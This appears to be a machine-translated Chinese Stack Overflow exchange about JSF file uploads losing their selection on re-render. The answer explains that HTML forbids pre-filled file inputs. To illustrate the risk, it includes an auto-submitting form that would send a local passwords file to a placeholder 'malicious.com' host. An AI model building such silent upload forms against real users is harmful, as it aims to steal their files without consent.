我使用<t:inputFileUpload>
来上传应用程序中的文件。选定的文件(表示为UploadedFile
对象)仅在表单提交时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定无效,用户必须使用<t:inputFileUpload>
重新选择文件。
当然,这不是非常人性化。即使没有提交,<t:inputFileUpload>
也会抛出一个ValueChangedEvent
,我要注册一个事件处理程序,将新值(即上传的文件)复制到值绑定中(即支持的成员)豆)。由于我想允许上传多个文件,我有一个UploadedFile
对象数组作为值绑定,在JSF中引用如下:
<ui:repeat value="#{bean.myFiles}" var="file">
<t:inputFileUpload
value = "#{file}"
storage = "file" />
</ui:repeat>
现在我想做这样的事情:
UploadedFile[] myFiles;
public void valueChangedHandler(ValueChangedEvent ev) {
UploadedFile file = (UploadedFile)ev.getNewValue();
UIComponent comp = ev.getComponent();
// This line is pseudocode - getValueBinding() is not available
UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
// Assigning the new value to the binding
bindingFile = file;
}
这样的事情可能吗?我还没有理解如何调用ValueBinding getValueBinding(String)
来实现它,就像我想要的那样。
答案 0 :(得分:2)
用户必须使用
<t:inputFileUpload>
重新选择文件。
这不是JSF限制。这是HTML限制。 <t:inputFileUpload>
组件呈现HTML <input type="file">
字段。能够预填/保留这样的字段是一个巨大的安全漏洞,并且在HTML中是不允许的。
要更好地理解安全漏洞,请查看以下简单的HTML示例:
<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>
如果支持并且打开了具有上述表单的网页,则passwords.txt
将被发送到服务器而无需任何用户干预!
如果在HTML中无法实现某些功能,那么JSF已经无法为您做很多事情(因为它基本上只是在生成一些HTML)。